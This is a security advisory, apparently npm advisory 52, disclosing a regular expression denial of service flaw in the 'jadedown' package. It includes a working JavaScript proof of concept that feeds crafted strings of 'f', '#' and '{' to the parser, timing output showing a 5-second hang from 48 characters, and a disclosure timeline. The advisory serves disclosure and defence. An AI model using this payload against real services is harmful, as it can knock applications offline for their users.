npm/npm-52
Regular Expression Denial of Service
jadedown is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.
"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time." [1]
### Proof of concept
```
var jadedown = require('jadedown');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=1;i<=10000000;i=i+1) {
console.log("COUNT: " + i);
var str = genstr(i, 'f') + genstr(i, '#') + '{';
console.log("LENGTH: " + str.length);
var start = process.hrtime();
jadedown(str)
var end = process.hrtime(start);
console.log(end);
}
```
Results demonstrating blocking for 5 seconds using only 48 characters.
```
$ node jadedown.js
COUNT: 1
LENGTH: 6
[ 0, 4014065 ]
COUNT: 4
LENGTH: 12
[ 0, 503507 ]
COUNT: 7
LENGTH: 18
[ 0, 325225 ]
COUNT: 10
LENGTH: 24
[ 0, 1632684 ]
COUNT: 13
LENGTH: 30
[ 0, 7541230 ]
COUNT: 16
LENGTH: 36
[ 0, 80889495 ]
COUNT: 19
LENGTH: 42
[ 0, 636009936 ]
COUNT: 22
LENGTH: 48
[ 5, 820586760 ]
```
# Timeline
- October 24, 2015 - Vulnerability Identified
- October 24, 2015 - Maintainers Notified
- October 25, 2015 - Response from Maintainers with intent to fix
- January 5, 2016 - Advisory Published
- January 11, 2016 - CVE Requested